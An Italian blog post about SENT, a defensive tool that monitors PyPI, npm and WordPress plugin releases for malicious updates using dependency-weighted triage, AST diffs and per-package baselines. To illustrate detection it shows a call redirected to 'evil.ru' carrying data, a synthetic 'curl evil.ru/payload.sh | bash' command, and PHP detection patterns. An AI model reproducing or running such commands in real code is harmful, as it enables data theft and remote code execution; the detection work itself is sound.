01 — il threadIl tweet che ha fatto partire tutto
Tutto e' iniziato con un numero. @N3mes1s stava misurando il volume di release sui package manager. Solo Python, JavaScript e Rust. Il risultato:
Due release al secondo. Di continuo. Se pensi che qualcuno le stia guardando tutte, no. La domanda di @N3mes1s era semplice: perche' nessuna delle aziende che vende "dependency scanning" intercetta questa roba in tempo reale? Tutte lavorano dopo. Qualcuno trova un pacchetto malevolo, lo segnala, e a quel punto e' stato installato migliaia di volte. Ogni minuto tra la pubblicazione di una release malevola e la sua scoperta e' una finestra aperta. E in quella finestra, pip install continua a girare. Automatizzato. Inconsapevole. Felice.
A quel punto si inserisce @evilsocket (Simone Margaritelli) con due idee che hanno definito l'architettura di tutto quello che ho costruito dopo.
Prima idea: costruisci un grafo pesato globale delle dipendenze, dove il peso di ogni nodo e' il cumulo dei download di tutto quello che ne dipende, a cascata. Poi rifletti quel peso all'indietro nella catena, e dai priorita' ai nodi con peso piu' alto. Non cercare di scansionare tutto. Un pacchetto con 100 download propri ma da cui dipende requests (1.2 miliardi di download/mese) ha un peso effettivo di 1.2 miliardi. Se qualcuno lo compromette, l'impatto e' su tutto l'ecosistema.
Seconda idea: quando esce una nuova versione, non darla intera all'AI. Fai il diff con la versione precedente e analizza solo quello che e' cambiato. Cosi' l'analisi e' veloce, economica, e il segnale e' pulito.
Due tweet. Un'architettura completa. Ho deciso di costruirla.
02 — il processoAgenti, non prompt
Sto sviluppando e testando un sistema di agenti per scrivere e validare codice. Non un chatbot a cui chiedi e copi la risposta. Un sistema con architettura a piu' livelli: un agente orchestratore che scompone il task in sotto-obiettivi, agenti specializzati che eseguono (uno scrive, uno cerca nel codebase, uno esplora la struttura), e un loop di validazione che verifica l'output prima di proseguire.
L'agente ha accesso diretto al filesystem, al terminale, alla rete. Legge i file del progetto, esegue i comandi, osserva l'output, decide il passo successivo. Ha un sistema di memoria persistente che sopravvive tra le sessioni: sa chi sono, come lavoro, quali scelte architetturali abbiamo fatto, quali feedback gli ho dato in passato. Non parte da zero ogni volta.
Il ciclo:
Un esempio. Gli dico: "implementa il grafo pesato a cascata con propagazione in ordine topologico inverso". L'agente legge dependency_graph.py, capisce la struttura (networkx DiGraph, edge A → B = "A dipende da B"), scrive _recompute_cascade con cache e invalidazione, aggiorna lo scorer per usare cascade_weight, esegue un test su pacchetti reali. Se packaging non esce con amplificazione 35x, c'e' un bug nella propagazione. Se esce, avanti.
Altro. "Il sistema non rileva modifiche agli argomenti di funzioni esistenti". L'agente legge ast_analyzer.py, capisce che diff_behaviors() fa sottrazione di insiemi sui nomi delle chiamate (quindi requests.post presente in entrambe le versioni scompare dal delta), scrive call_diff.py con fingerprint per call site (nome, domini URL, sorgenti sensibili), lo testa su un attacco sintetico. Rapporto attacco/benigno: 7x (144 vs 21).
Il vincolo e' il contesto, non la generazione. SENT sono ~6000 righe, 30+ file, con AST parsing, scoring non lineare, worker pool e cache su disco. Generare codice e' la parte facile. Non rompere il resto del sistema e' la parte interessante. Tipo sapere che quando aggiungi ingestion/wordpress.py devi anche aggiornare process_release() in main.py per gestire il nuovo ecosistema, aggiungere "wordpress" alle Choice di click in cli.py, e scrivere _analyze_wordpress() in differ.py che usa svn diff invece di scaricare archivi. L'agente tiene in memoria l'intero grafo delle dipendenze tra i moduli del progetto. Non deve rileggere tutto ogni volta.
03 — l'architetturaTre strati, un principio
Il problema non e' rilevare attacchi, e' decidere dove guardare prima. Con 8100 release all'ora il vincolo non e' la capacita' di analisi ma l'allocazione del compute. Triage computazionale.
PyPI + npm + WordPress
~80 da analizzare
1.3ms/pacchetto
~0.4% va all'AI
Strato 1: il grafo a cascata. All'avvio il sistema scarica i metadati dei top 200 pacchetti PyPI e npm. Per ognuno, recupera le dipendenze e i download reali da pypistats.org. Costruisce un grafo diretto (A → B = "A dipende da B") e propaga i pesi all'indietro: il cascade weight di B e' i suoi download + la somma dei cascade weight di tutti quelli che dipendono da B.
| 1 | # La propagazione e' un singolo passaggio in ordine topologico inverso |
| 2 | for node in reversed(topo_order): |
| 3 | node_weight = cascade[node] |
| 4 | for dep in g.successors(node): # le dipendenze di node |
| 5 | cascade[dep] += node_weight # propaga il peso in giu' |
Il risultato su dati reali:
| Pacchetto | Download propri | Cascade weight | Amplificazione |
|---|---|---|---|
urllib3 |
1.3 miliardi/mese | 13 miliardi | 10x |
certifi |
1.3 miliardi/mese | 15.6 miliardi | 12x |
packaging |
1.5 miliardi/mese | 51.7 miliardi | 35x |
flask |
219 milioni/mese | 991 milioni | 4.5x |
random-unknown-pkg |
50 | 50 | 1x |
packaging ha un'amplificazione di 35x. Se qualcuno compromette packaging, l'effettivo blast radius non sono i suoi 1.5 miliardi di download. Sono 51.7 miliardi. Lo score di priorita' e' log(cascade_weight + 1): packaging ottiene 24.7, il pacchetto sconosciuto ottiene 3.9. Uno viene analizzato, l'altro no.
Strato 2: compressione semantica. Il diff non e' un'ottimizzazione, e' una trasformazione del problema. Il codice completo di un pacchetto e' rumore. Il diff tra due versioni e' segnale. Quando un pacchetto passa il filtro, il sistema scarica la versione precedente e quella nuova (o usa la cache), le estrae, e calcola il diff a tre livelli:
File-level. Quali file sono stati aggiunti, rimossi, modificati.
Behavioral-level. Per i file Python, il sistema fa il parse dell'AST di entrambe le versioni, estrae i comportamenti (import, chiamate, accessi ad attributi), e calcola il delta. Solo i comportamenti nuovi vengono analizzati.
Argument-level. Per le chiamate che esistevano gia', confronta gli argomenti. Se requests.post("legit.com") diventa requests.post("evil.ru"), non e' un comportamento nuovo (la chiamata c'era gia') ma e' un cambio critico.
Strato 3: scoring non lineare. Le feature estratte dal diff vengono pesate e combinate. Ma non linearmente: certe combinazioni amplificano il rischio in modo esponenziale.
| Combinazione | Bonus | Perche' |
|---|---|---|
| URL cambiato + dati sensibili aggiunti | +50 | Pattern di exfiltration stealth |
| env access + network call | +35 | Credential exfiltration |
| obfuscation + exec | +35 | Payload delivery |
| install hook + subprocess | +25 | Install-time command execution |
04 — il blind spotL'attacco che il diff non vede
Il sistema funzionava. Poi ho pensato a questo scenario:
| 1 | # v1, legittimo |
| 2 | requests.post("https://analytics.mycompany.com/events", json=payload) |
| 3 | |
| 4 | # v2, compromesso (stessa funzione, argomenti diversi) |
| 5 | requests.post("https://evil.ru/events", json=payload) |
Il behavioral diff vede requests.post in entrambe le versioni. Non e' un comportamento nuovo. Lo ignora. Ma l'URL e' cambiato da mycompany.com a evil.ru. Gli attacchi moderni non aggiungono codice. Cambiano una riga e sperano che nessuno se ne accorga.
Serviva un nuovo livello di analisi. L'ho chiamato call_diff: per ogni file Python modificato, estrae le "impronte" di ogni chiamata di funzione (nome, domini URL negli argomenti, sorgenti sensibili come os.environ) dalla versione vecchia e da quella nuova, poi le confronta.
Tre tipi di mutazione rilevati:
url_changed: il dominio di un URL passato a una funzione di rete e' cambiato.
sensitive_added: os.environ o getenv appaiono come argomento di una chiamata di rete o subprocess che prima non li aveva.
cmd_changed: la stringa passata a subprocess.run e' cambiata.
L'ho testato con un attacco sintetico: stessa struttura del codice, stesse funzioni, ma URL rediretto, os.environ aggiunto come parametro, e comando subprocess cambiato in curl evil.ru/payload.sh | bash.
Score 21 vs 144. Rapporto 7x. La stessa struttura di codice, le stesse funzioni, ma il call_diff vede il cambio di argomenti che il behavioral diff ignora. Il bonus di combinazione "URL changed + sensitive data added" aggiunge +50 da solo.
05 — wordpressIl repo che nessuno guarda. Letteralmente.
Simo non contento di avermi mandato in fissa col grafo a cascata, ha continuato a scrivermi in DM. Me lo immagino che rideva mentre mi mandava link uno dopo l'altro. A un certo punto mi arriva https://plugins.svn.wordpress.org/. Il repo SVN pubblico di tutti i plugin WordPress. Pubblico, ma quasi nessuno lo sa.
WordPress e' il 43% del web. Il suo repo SVN e' pubblico, contiene tutti i plugin, e SVN ti da' il diff tra versioni senza scaricare nulla. Mentre per PyPI e npm devi scaricare due archivi interi ed estrarli, per WordPress basta:
| 1 | svn diff --old https://plugins.svn.wordpress.org/plugin/tags/1.0 \ |
| 2 | --new https://plugins.svn.wordpress.org/plugin/tags/1.1 |
Il diff viene calcolato server-side. Zero download, zero estrazione. Un vantaggio strutturale: una fonte dati pubblica che quasi nessuno usa, con un protocollo che ti da' esattamente l'informazione che serve senza overhead. Per i plugin WordPress ho scritto un set di pattern specifici per PHP: eval(), base64_decode, creazione di utenti admin (wp_create_user), bypass dei nonce, accesso a wp-config.php, injection via preg_replace con il modificatore /e.
Il sistema ora monitora tre ecosistemi in parallelo. Stesso worker pool, stessa coda con priorita', stessi alert.
06 — dyanaAnalisi statica + detonazione dinamica
Simone mi conosce. Sa che vado in fissa sulle cose e probabilmente si diverte a vedere fin dove arrivo. Quindi dopo il repo SVN mi manda un altro link: dyana, un sandbox che lui e il team di dreadnode hanno scritto. Installa il pacchetto in un container isolato tracciato con eBPF e registra tutto: connessioni di rete, accesso al filesystem, syscall sospette.
SENT fa analisi statica: guarda il codice senza eseguirlo. dyana fa analisi dinamica: lo esegue e osserva cosa fa. Sono complementari. SENT filtra 8100 release all'ora e trova i sospetti. dyana li detona per conferma.
| 1 | # analisi statica + detonazione dinamica in un comando |
| 2 | python3 cli.py analyze pacchetto-sospetto -e pypi --dyana |
| 3 | |
| 4 | # oppure automatico nel watch: detona solo se score >= 200 |
| 5 | SENT_DYANA=1 SENT_DYANA_MIN_SCORE=200 python3 cli.py watch -t 8 -i 30 |
L'integrazione e' opzionale. Senza il flag --dyana il sistema non chiama dyana. Con il flag, lo chiama solo sui pacchetti che superano la soglia. Servono Docker in esecuzione e pip install dyana.
07 — la baselineIl falso positivo che non c'e'
Il problema dei sistemi basati su regole e' che Flask usa os.environ legittimamente. Un sistema che flagga ogni os.environ come sospetto e' inutile. La soluzione classica sono le whitelist: "Flask puo' usare os.environ". Ma le whitelist non scalano e non coprono i nuovi pacchetti.
SENT fa il contrario. Non ha regole globali. Ha un modello locale per ogni pacchetto. Per ognuno mantiene una behavioral baseline: un profilo di cosa quel pacchetto fa normalmente. Usa la rete? Chiama exec? Accede all'ambiente? Alla prima analisi, tutto viene flaggato (non abbiamo trust signal). Dalla seconda in poi, solo i comportamenti mai visti prima per quel pacchetto vengono flaggati. Non esiste comportamento sospetto in assoluto. Esiste comportamento anomalo per quel codice.
Se Flask ha sempre usato os.environ, non viene flaggato. Se un pacchetto calcolatrice inizia improvvisamente a usare os.environ + requests.post, viene flaggato, e' anomalo per quel pacchetto. La sicurezza nella supply chain non e' statica, e' una funzione del tempo: il diff e' nel tempo, la baseline e' nel tempo, il flusso di release e' nel tempo. Il sistema e' costruito attorno a questa idea.
L'effetto e' misurabile. Flask 3.0.3 → 3.1.0:
| Analisi | Score | Perche' |
|---|---|---|
| Prima (nessuna baseline) | 138 | os.environ flaggato, anomaly multiplier attivo |
| Seconda (baseline popolata) | 97 | Flask usa os.environ da sempre → non anomalo |
08 — i numeriBenchmark su 10,000 eventi
L'ultimo pezzo e' la performance. Un sistema che non tiene il passo con il flusso di release e' inutile. Ho scritto un benchmark che simula 10,000 eventi con distribuzione realistica di download (power law: 70% sotto 100, 3% sopra un milione).
Il collo di bottiglia non e' la CPU. L'analisi (AST parse + call_diff + feature extraction + scoring) prende 1.3 millisecondi per pacchetto. Il collo di bottiglia e' la rete: scaricare un pacchetto da PyPI prende 1-10 secondi. Per quello il sistema ha un worker pool con 6 thread, una coda con priorita' (i pacchetti piu' critici vengono processati prima), backpressure (se la coda cresce troppo i pacchetti a bassa priorita' vengono droppati), e cache su disco per non riscaricare la stessa versione. Il sistema scala non perche' e' veloce, ma perche' sa cosa ignorare.
L'AI e' la parte piu' costosa della pipeline. Quindi va usata il meno possibile. Il sistema locale fa detection: scoring, AST diff, call_diff, baseline comparison. L'LLM interviene solo per interpretare i casi ambigui, lo 0.4%. Non e' il motore, e' il giudice.
L'intero sistema gira su un laptop. Un singolo processo Python con 6 thread, SQLite, e ~200MB di cache disco.
09 — il codiceProvalo
Il codice e' su GitHub: github.com/Pinperepette/SENT
| 1 | # installa |
| 2 | pip install httpx networkx rich click |
| 3 | |
| 4 | # costruisci il grafo (una volta, ~10 secondi) |
| 5 | python3 cli.py bootstrap |
| 6 | |
| 7 | # monitora PyPI + npm + WordPress in tempo reale |
| 8 | SENT_ALERT_MIN_SCORE=500 python3 cli.py watch -t 8 -i 30 |
| 9 | |
| 10 | # analizza un pacchetto specifico |
| 11 | python3 cli.py analyze requests -e pypi |
| 12 | python3 cli.py analyze woocommerce -e wordpress |
| 13 | |
| 14 | # guarda i risultati |
| 15 | python3 cli.py top |
L'idea non e' mia. L'architettura viene dalla conversazione tra @evilsocket e @N3mes1s. Il grafo a cascata, la strategia diff-first, il repo WordPress SVN, sono idee loro. Io le ho implementate. Il codice e' stato costruito in una sessione usando un workflow agent-driven che sto sviluppando e validando.
Dopo tutto questo circo, mi sono detto: faccio l'articolo. Birra, friggitrice ad aria, patatine. La iena e' andata a lavorare, chi mi ammazza.
La supply chain non e' insicura. E' solo lenta. E gli attaccanti no.